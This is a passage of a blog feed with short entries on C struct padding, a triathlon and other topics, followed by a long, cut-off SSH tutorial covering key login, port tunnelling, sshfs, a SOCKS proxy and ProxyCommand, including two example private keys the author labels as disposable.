Allocation</title><link>https://joshuarogers.net/articles/2014-04/fun-memory-allocation/</link><description>Just a bit of a fun puzzle today. Take a moment to look at the following two classes. Given an architecture where an int is four bytes and a character is one, what is the size of an instance of each class?
struct Alpha { int x; char ch1; int y; char ch2; } a1; struct Beta { int x; int y; char ch_name[2]; } b2; The most obvious answer would be 4+1+4+1, giving us 10 bytes for the first class, and 4+4+1+1 giving us another 10 bytes with our second class.</description><author>Joshua Rogers</author><pubDate>Mon, 28 Apr 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-04/fun-memory-allocation/</guid></item><item><title>York April 2014 Triathlon</title><link>https://caiustheory.com/york-triathlon-2014/</link><description>&lt;p&gt;Completed the York sprint distance tri in 1:28:37 total, and didn&amp;rsquo;t die in the process. Split times &amp;amp; my thoughts below..&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;400m Swim: 00:08:08&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;T1: 00:03:47&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;18km Bike: 00:38:43&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;T2: 00:00:58&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;5km Run: 00:38:08&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(Amusingly the official time for my swim was 00:10:10, which then makes my official time for T1 00:00:38; Fastest Swim/Bike transition time in the tri on paper! Ahem.)&lt;/p&gt;
&lt;p&gt;Happy with my swim, not much different from training speed &amp;amp; felt good getting out the pool. T1 was okay, and I remembered to put my tshirt on before my helmet this time! Quite happy with my cycling, got down on the drop bars going downhill with tailwind, and could maintain 16mph uphill on the return leg, the bike itself had a major service 2 weeks ago and I&amp;rsquo;d not really ridden much since that either. Legs responded with life in them coming off the bike, second transition was quicker than expected (elastic laces win!). Moderately happy with the run, was hoping to do it in under 40 minutes (and did), but still felt like I had no more distance/pace left before halfway through. Pushed through to the end okay, and didn&amp;rsquo;t walk at all. Overall very happy for my first sprint distance, and especially happy to be running 5km after swim/bike without walking.&lt;/p&gt;
&lt;p&gt;First event of the season done. Main area to work on is my run, but that&amp;rsquo;s been the case since last season. Winter running training seems to have paid off so far.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Mon, 28 Apr 2014 13:00:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/york-triathlon-2014/</guid></item><item><title>Implementing Domain Driven Design</title><link>https://daniellittle.dev/implementing-domain-driven-design</link><description>I've talked about what Domain Driven Design is and what kind of benefits you can expect from it. The next concept to explore is what the…</description><author>Daniel Little Dev</author><pubDate>Mon, 28 Apr 2014 04:55:35 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/implementing-domain-driven-design</guid></item><item><title>Persistent Archival Links: A Mystery in Base-30</title><link>https://murphyslab.ca/notes/persistent-archival-links-base-30/</link><description>Genealogy is a pastime that I occasionally indulge in. There are some very fascinating stories to be learned about the history of one&amp;rsquo;s genetic forebearers, as the tale of ancestry interweaves with the movements of history. Discovering one&amp;rsquo;s family history requires investigative skills for combing through resources — many of which are online. Some of those (with Canadian content) are freely available: Library and Archives Canada, FamilySearch, Automated Genealogy, and others.</description><author>Murphy's Lab Notes on Murphy's Lab</author><pubDate>Mon, 28 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://murphyslab.ca/notes/persistent-archival-links-base-30/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-42114.html</link><description>&lt;p&gt;As Bob Dylan once said, &amp;#8220;The times, they are a changin&amp;#8217;.&amp;#8221; Over the past week, this has proved &lt;a href="https://zacs.site/blog/constellation.html"&gt;particularly true&lt;/a&gt; for the podcasting space: with the launch of Fiat Lux&amp;#8217;s &lt;a href="http://Constellation.fm"&gt;Constellation&lt;/a&gt;, we have been given a glimpse into a possible future whereby the greatest emphasis falls on the podcast rather than another, ancillary aspect, and this beloved medium has lost the shackles that once kept it relegated to a small, insular sect. At least within this podcasting space, Bob Dylan&amp;#8217;s words have never been more appropriate. Perhaps some day soon, your friends and family will sit down to enjoy episodes of these excellent podcasts alongside you.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-42114.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 27 Apr 2014 22:37:08 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-42114.html</guid></item><item><title>SSH Kung Fu</title><link>https://blog.tjll.net/ssh-kung-fu/</link><description>&lt;p&gt;
&lt;a href="http://www.openssh.com/"&gt;OpenSSH&lt;/a&gt; is an incredible tool. Though primarily relied upon as a secure alternative to plaintext remote tools like telnet or rsh, OpenSSH (hereafter referred to as plain old ssh) has become a swiss army knife of functionality for far more than just remote logins.
&lt;/p&gt;

&lt;p&gt;
I rely on ssh every day for multiple purposes and feel the need to share the love for this excellent tool. What follows is a list for some of my use cases that leverage the power of ssh.
&lt;/p&gt;

&lt;hr /&gt;

&lt;hr /&gt;

&lt;div id="table-of-contents"&gt;
&lt;h4&gt;Table of Contents&lt;/h4&gt;
&lt;div id="text-table-of-contents"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#public-key-cryptography"&gt;Public-Key Cryptography&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#bonus-ssh-copy-id"&gt;Bonus: &lt;code&gt;ssh-copy-id&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#trivia-ecdsa-keys"&gt;Trivia: ecdsa keys&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#tunnelling"&gt;Tunnelling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#mounting-filesystems"&gt;Mounting Filesystems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#remote-file-editing"&gt;Remote File Editing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#tab-completion"&gt;Tab-Completion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#lightweight-proxy"&gt;Lightweight Proxy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#accessing-nat-ed-hosts-directly"&gt;Accessing NAT-ed Hosts Directly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#sharing-connections"&gt;Sharing Connections&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#conclusion"&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#edit-bonus-round"&gt;Edit: Bonus Round!&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#remote-file-editing-in-emacs"&gt;Remote File Editing in Emacs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#the-secure-shell-shell"&gt;The Secure Shell&amp;hellip; Shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#agent-forwarding"&gt;Agent Forwarding&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-public-key-cryptography"&gt;
&lt;h4 id="public-key-cryptography"&gt;Public-Key Cryptography&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-public-key-cryptography"&gt;
&lt;p&gt;
This is kind of a prerequisite for supercharging ssh usage. It's a pretty straightforward concept:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Generate a public key and private key. The private key can prove ownership of a public key&lt;/li&gt;
&lt;li&gt;Place the public key on any servers you need to log in to&lt;/li&gt;
&lt;li&gt;No more password prompts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Sound good? Let's do it:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh-keygen -t rsa&lt;/code&gt;
&lt;code&gt;cat ~/.ssh/id_rsa.pub&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example"&gt;
... your public key here ...
&lt;/pre&gt;

&lt;p&gt;
Paste that into the &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; file of any server account you need to log in to, then any subsequent
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh user@host&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Will be automatic. Now you're prepared to really make ssh useful.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-bonus-ssh-copy-id"&gt;
&lt;h5 id="bonus-ssh-copy-id"&gt;Bonus: &lt;code&gt;ssh-copy-id&lt;/code&gt;&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-bonus-ssh-copy-id"&gt;
&lt;p&gt;
As this process of copying public keys is a fairly common task, you can usually get the &lt;code&gt;ssh-copy-id&lt;/code&gt; command on most platforms do to this automagically for you. For example, if you've generated your keys and want to set up key login for the user bob at the host fortknox:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;brew install ssh-copy-id &lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;(if needed)&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;ssh-copy-id bob@fortknox&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Done!
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-trivia-ecdsa-keys"&gt;
&lt;h5 id="trivia-ecdsa-keys"&gt;Trivia: ecdsa keys&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-trivia-ecdsa-keys"&gt;
&lt;p&gt;
While rsa keys are the traditional standard for ssh keys, ssh supports several types of asymmetric key types. For example, an Elliptic Curve Data Signature Algorithm (ecdsa) key provides roughly the same strength as rsa with dramatically fewer bits. Take an example rsa private key:
&lt;/p&gt;

&lt;pre class="example" id="org3cf53f7"&gt;
&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/code&gt;
&lt;code&gt;MIIEowIBAAKCAQEA5i0picr3EuP/MLLYjFn930uw5PXEfVSRAyp4B7wFFLX8gwfo&lt;/code&gt;
&lt;code&gt;T1JQvElFSlkM160u7XOdocdcQ85FLC7ABYWEe6OaUqSmBLoYzoKVE72lyKHjXeve&lt;/code&gt;
&lt;code&gt;zjPgAHIcZ6xpi1ua5RfeE+L/yAxx7NNK2n8IFKPQWbHOH20I6aTjVPH810DKybAK&lt;/code&gt;
&lt;code&gt;geDdzdIdo3COp4yUotYmL3WI5oH3LZ+0QMJsyQtXWj56K2sX6Bi9dzQbID+jMRRC&lt;/code&gt;
&lt;code&gt;ctnKE3Z+S24GdZTlslL/6fzhzVi2JSBOAdwh7s7PC7b2PJL6BlOkTBpOVNv1Ttzg&lt;/code&gt;
&lt;code&gt;VrpybqN2emNhmi/lIKS9bTgN7ZD1ndSImVKAYwIDAQABAoIBAAL22e4YWw43OXYb&lt;/code&gt;
&lt;code&gt;F4bXMdnKU8DfGWSzzhpIVbtjxHz7ywC0/VzoJnoGR4opk2zDojMUphcLRjjpUyK6&lt;/code&gt;
&lt;code&gt;h2aKzaX5+WbPEARHkUI3lEvoyVXIH/F5tCjbqirXTV5YbhOJXnlM0WNYLQsafe0a&lt;/code&gt;
&lt;code&gt;23/s2uHJKkm9bHYjJVY89WCGrUboXHIfq1zsSvunCkD8mJxP8tXZhtqn7KlHK4w+&lt;/code&gt;
&lt;code&gt;X8t259hOGPboGcZ48I6TZ1o5GzoUIpJdVuhxvK1+RGOiE4RPgdDyC3dQQV3hc4Iq&lt;/code&gt;
&lt;code&gt;2k/EOnDqOFtHMW1uCgnz7+sDLaEhuG823MnhRBhZEDKSQECUdfRHsX2JYC6F3fnC&lt;/code&gt;
&lt;code&gt;1pMZtSECgYEA/Wo8RKMtNrovTruJemTjMAIe06H1UjsC46ppYEiWDTlZZsbPJ3AH&lt;/code&gt;
&lt;code&gt;l5+9ER2FAReU+Op5UoUgmxLg7kFJFudib2cieLYKVODnIdvw8yGx895qA32xP16e&lt;/code&gt;
&lt;code&gt;C0HRexDhzW2LBIgmSSz0+QEaYbuiQBWfq02EQ9yUbmcePX9eyY8bZwcCgYEA6IY9&lt;/code&gt;
&lt;code&gt;8CeaM9UlQ18m5eFuM40xpjaED3sESRMCJU61rqnMPyJHFBMiR2fqQRbQoirU7qyL&lt;/code&gt;
&lt;code&gt;/fJhfOKSkK0wHO+OBokbxxggcswLPkJnBSb6MVtqec+s7n0Oko+9Czfa4xWeHWI5&lt;/code&gt;
&lt;code&gt;n25N+YuEEAC92RODUxQkynsk6/3wv4LqHkzcCMUCgYAOlN1Q6b7BRmdQdXQMqd90&lt;/code&gt;
&lt;code&gt;tLqHXOtbxu98oCKeGq8fpawiQNBMqaKWM+fSI0uy62N0CzHd8LEWmzh8HR+ShM/i&lt;/code&gt;
&lt;code&gt;LyIJphfkGGjURu6PXuH5cVPSTZo0VkJrzWa7WRZVFreIFDl3vnF+HnUhKIXGgDgG&lt;/code&gt;
&lt;code&gt;yFgS+49C5wYTbc/Lc0OVYwKBgQDJA8Rn6NSWGp2sMIYgFVJ/noBdgKOJ/n8l7Rjd&lt;/code&gt;
&lt;code&gt;x72o0YGQ0sE/yYrI0DzjKCYVC5IpA2HCl9dPb0/lYtNFMJNHcyBgbasfkuXlXOJS&lt;/code&gt;
&lt;code&gt;we9o2+6gf7iwM8x1R23WVOMVjYqzPEc0XNdr9ACnFP0KvKO7Hp7vrKWunkmSRkq/&lt;/code&gt;
&lt;code&gt;BxLxQQKBgFYi4PKlqWG9tkXoqh9Hzjn29VfUcu5QVfNGpTN4ohr1j1TFaJgBF6bJ&lt;/code&gt;
&lt;code&gt;TSXXUErOtPIQREVOCe9OJqzT4SPVm0OZoI7qTOVp5b6tbXjY29oUcNSszAjmEySo&lt;/code&gt;
&lt;code&gt;fMtmbBWirnFRCuZVIylokl/3uviNbIUNkNOFZnhiVy0CviDG05F/&lt;/code&gt;
&lt;code&gt;-----END RSA PRIVATE KEY-----&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
And compare it to an ecdsa private key:
&lt;/p&gt;

&lt;pre class="example" id="orge352246"&gt;
&lt;code&gt;-----BEGIN EC PRIVATE KEY-----&lt;/code&gt;
&lt;code&gt;MHcCAQEEIOSxjv3N24PiYulQcC7sr3RhfAtEXcnf4uRicHiFO5LhoAoGCCqGSM49&lt;/code&gt;
&lt;code&gt;AwEHoUQDQgAE66S7FaV6O+oWuRBurSxmPzKy/gSoCqJr48IsacXpDvhNKBiJprdj&lt;/code&gt;
&lt;code&gt;ahrB5Tk74YUTlQvZgdZSlGPVnn6OF1MI6Q==&lt;/code&gt;
&lt;code&gt;-----END EC PRIVATE KEY-----&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
No, these are not my private keys. ☺ They're one-shot example keys.
&lt;/p&gt;

&lt;p&gt;
Note that although they're cool, I wouldn't recommend trying ecdsa out in a production environment&lt;sup&gt;&lt;a class="footref" href="#fn.ecdsa" id="fnr.ecdsa"&gt;1&lt;/a&gt;&lt;/sup&gt; &amp;ndash; I've run into a couple of daemons during my day-to-day that wouldn't accept this key type.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-tunnelling"&gt;
&lt;h4 id="tunnelling"&gt;Tunnelling&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-tunnelling"&gt;
&lt;p&gt;
Need access to a port behind a firewall? ssh has got you covered. If you need to access the remote endpoint &lt;a href="http://no-public-access"&gt;http://no-public-access&lt;/a&gt; but can reach that host from another host that you can log in to (let's call it ssh-host), just try this:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh -L 8080:no-public-access:80 user@ssh-host&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Then browse to &lt;a href="http://localhost:8080"&gt;http://localhost:8080&lt;/a&gt;. Your requests are being routed through &lt;code&gt;ssh-host&lt;/code&gt; and hit &lt;code&gt;no-public-access:80&lt;/code&gt; and are routed back to you. &lt;i&gt;Tremendously&lt;/i&gt; useful.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-mounting-filesystems"&gt;
&lt;h4 id="mounting-filesystems"&gt;Mounting Filesystems&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-mounting-filesystems"&gt;
&lt;p&gt;
NFS, while venerable, is pretty shoddy when it comes to securely sharing directories. You can share to an entire subnet, but anything beyond that gets tricky. Enter sshfs, the ssh &lt;i&gt;filesystem&lt;/i&gt;.
&lt;/p&gt;

&lt;p&gt;
I've got a machine called &lt;code&gt;wonka&lt;/code&gt; trying to share the directory &lt;code&gt;/srv/factory&lt;/code&gt; with the host &lt;code&gt;bucket&lt;/code&gt;. Assuming that the user &lt;code&gt;charlie&lt;/code&gt; on &lt;code&gt;bucket&lt;/code&gt; has keys set up on &lt;code&gt;wonka&lt;/code&gt;, and assuming that I've got sshfs available (install it via your package manager of choice if &lt;code&gt;which sshfs&lt;/code&gt; returns nothing), try this out:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sshfs wonka:/srv/factory /mnt -o &lt;span class="org-variable-name"&gt;idmap&lt;/span&gt;=user&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Everything is pretty self-explanatory except for the filesystem mount option &lt;code&gt;idmap&lt;/code&gt;. That just tries to map the unix numeric IDs from the server to the user you're mounting the filesystem as (it's the least troublesome option.)
&lt;/p&gt;

&lt;p&gt;
And presto, you're sharing a filesystem quickly, easily, and securely. The caveat here is that filesystem changes can take a little longer to propagate than with similar file-sharing schemes like SMB or NFS.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-remote-file-editing"&gt;
&lt;h4 id="remote-file-editing"&gt;Remote File Editing&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-remote-file-editing"&gt;
&lt;p&gt;
This trick relies on the netrw capabilities of vim (a directory browsing function) and scp (a sister program of ssh.)
&lt;/p&gt;

&lt;p&gt;
Netrw allows vim to browse the filesystem on the local filesystem easily (try it in a terminal with &lt;code&gt;$ vim [path]&lt;/code&gt;, such as &lt;code&gt;$ vim .&lt;/code&gt;. However, we can pass vim a &lt;b&gt;remote path&lt;/b&gt; using &lt;code&gt;scp://&lt;/code&gt; to achieve remote file editing:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;vim scp://wonka/&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
You're now browsing your home directory's contents on &lt;code&gt;wonka&lt;/code&gt; within vim. Any file edits you make will be synced over on write via scp.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-tab-completion"&gt;
&lt;h4 id="tab-completion"&gt;Tab-Completion&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-tab-completion"&gt;
&lt;p&gt;
Not a trick, but really useful.
&lt;/p&gt;

&lt;p&gt;
Have you ssh-ed into a machine like this in the past?
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh supercalifragilisticexpialidocious&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Good news, you can probably do this:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh sup&amp;lt;TAB&amp;gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
and &lt;del&gt;ssh&lt;/del&gt;&lt;sup&gt;&lt;a class="footref" href="#fn.ssh-auto" id="fnr.ssh-auto"&gt;2&lt;/a&gt;&lt;/sup&gt; the shell will auto-complete hostnames drawn from the &lt;code&gt;~/.ssh/known_hosts&lt;/code&gt; file.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-lightweight-proxy"&gt;
&lt;h4 id="lightweight-proxy"&gt;Lightweight Proxy&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-lightweight-proxy"&gt;
&lt;p&gt;
This is probably one of my favorite tricks, and is very useful when the need for it arises.
&lt;/p&gt;

&lt;p&gt;
The previous tunnelling example was simple: we're forwarding a local port such as &lt;code&gt;8080&lt;/code&gt; to a remote endpoint, and ssh handles passing packets through your intermediate ssh host. However, what if you want to place a program entirely behind an ssh host? Doing so enables you to essentially create a very lightweight proxy, independent of some sort of VPN solution like PPTP or OpenVPN.
&lt;/p&gt;

&lt;p&gt;
ssh has an option for this, the &lt;code&gt;-D&lt;/code&gt; flag. Invoking ssh with the following options
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh -D 9090 user@host&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
exposes the local port &lt;code&gt;9090&lt;/code&gt; as a &lt;a href="https://en.wikipedia.org/wiki/SOCKS_proxy"&gt;SOCKS&lt;/a&gt; proxy. You can then alter your browser settings to use your local SOCKS proxy to route browsing traffic. My configuration in Firefox for the previous example is show here:
&lt;/p&gt;


&lt;div class="figure" id="orgecde2de"&gt;
&lt;p&gt;&lt;img alt="socks_proxy.png" class="mainline" src="../assets/images/socks_proxy.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 1: &lt;/span&gt;ssh SOCKS proxy settings in Firefox&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
Note that for Firefox at least, I had to set the following flag in my &lt;a href="http://about:config"&gt;http://about:config&lt;/a&gt; in order for everything to work correctly:
&lt;/p&gt;


&lt;div class="figure" id="orgd4dd0bc"&gt;
&lt;p&gt;&lt;img alt="firefox_socks_dns.png" class="mainline" src="../assets/images/firefox_socks_dns.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 2: &lt;/span&gt;Firefox SOCKS dns settings&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
Try browsing to a site like &lt;a href="http://geoiptool.com/"&gt;geoiptool&lt;/a&gt; and you should find that your IP is now originating from your ssh host.
&lt;/p&gt;

&lt;p&gt;
This may initially seem a little useless, but when you consider that you can also use a cheap (or free) EC2 instance anywhere in the world&amp;hellip; there's a lot of possibilities. For example, I've used this trick to access US-only services when traveling abroad and it has worked very well.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-accessing-nat-ed-hosts-directly"&gt;
&lt;h4 id="accessing-nat-ed-hosts-directly"&gt;Accessing NAT-ed Hosts Directly&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-accessing-nat-ed-hosts-directly"&gt;
&lt;p&gt;
Before diving into this one, I want to emphasize that if you aren't taking full advantage of your &lt;code&gt;~/.ssh/config&lt;/code&gt;, you really should. Stop using &lt;code&gt;alias&lt;/code&gt; and starting using shorthand hostnames in the ssh config file. Doing so allows you do use the same shortname in any ssh-friendly application (scp, rsync, vim, etc.) and lends itself well to providing a unified environment if you distribute your dotfiles across machines.
&lt;/p&gt;

&lt;p&gt;
Moving on. ssh config files follow this syntax:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;ssh-config&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ssh-config"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-keyword"&gt;Host&lt;/span&gt; foobar&lt;/code&gt;
&lt;code&gt;    Option value&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
For example, you can reduce the command
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh -p12345 foo@bar.baz.edu -i ~/.ssh/customkey&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
to
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh bar&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
by adding the following to &lt;code&gt;~/.ssh/config&lt;/code&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;ssh-config&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ssh-config"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-keyword"&gt;Host&lt;/span&gt; bar&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;User&lt;/span&gt; foo&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;Port&lt;/span&gt; 12345&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;IdentityFile&lt;/span&gt; ~/.ssh/customkey&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;HostName&lt;/span&gt; bar.baz.edu&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Now that we've dabbled in the config, look at this configuration stanza:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;ssh-config&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-comment"&gt;Font used to highlight comments.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment-delimiter"&gt;Font used to highlight comment delimiters.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ssh-config"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-keyword"&gt;Host&lt;/span&gt; behind.bar&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;ProxyCommand ssh bar exec nc behind %p&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;    &lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;I've since been educated that invoking netcat for forwarding&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;    &lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;is deprecated, use the -W flag instead:&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;    &lt;span class="org-keyword"&gt;ProxyCommand&lt;/span&gt; ssh -q -W %h:%p bar&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
&lt;code&gt;ProxyCommand&lt;/code&gt; directs ssh how to connect to &lt;code&gt;behind.bar&lt;/code&gt;: connect to &lt;code&gt;bar&lt;/code&gt; (previously defined) and &lt;del&gt;use netcat to&lt;/del&gt; connect to the port that ssh would normally connect to. ssh's &lt;code&gt;-W&lt;/code&gt; flag intelligently forwards traffic to the interpolated %h (hostname) and %p (port) variable placeholders. The following diagram demonstrates.
&lt;/p&gt;


&lt;div class="figure" id="org85db3ff"&gt;
&lt;p&gt;&lt;img alt="ssh_proxycommand.png" class="mainline opaque" src="../assets/images/ssh_proxycommand.png" /&gt;
&lt;/p&gt;
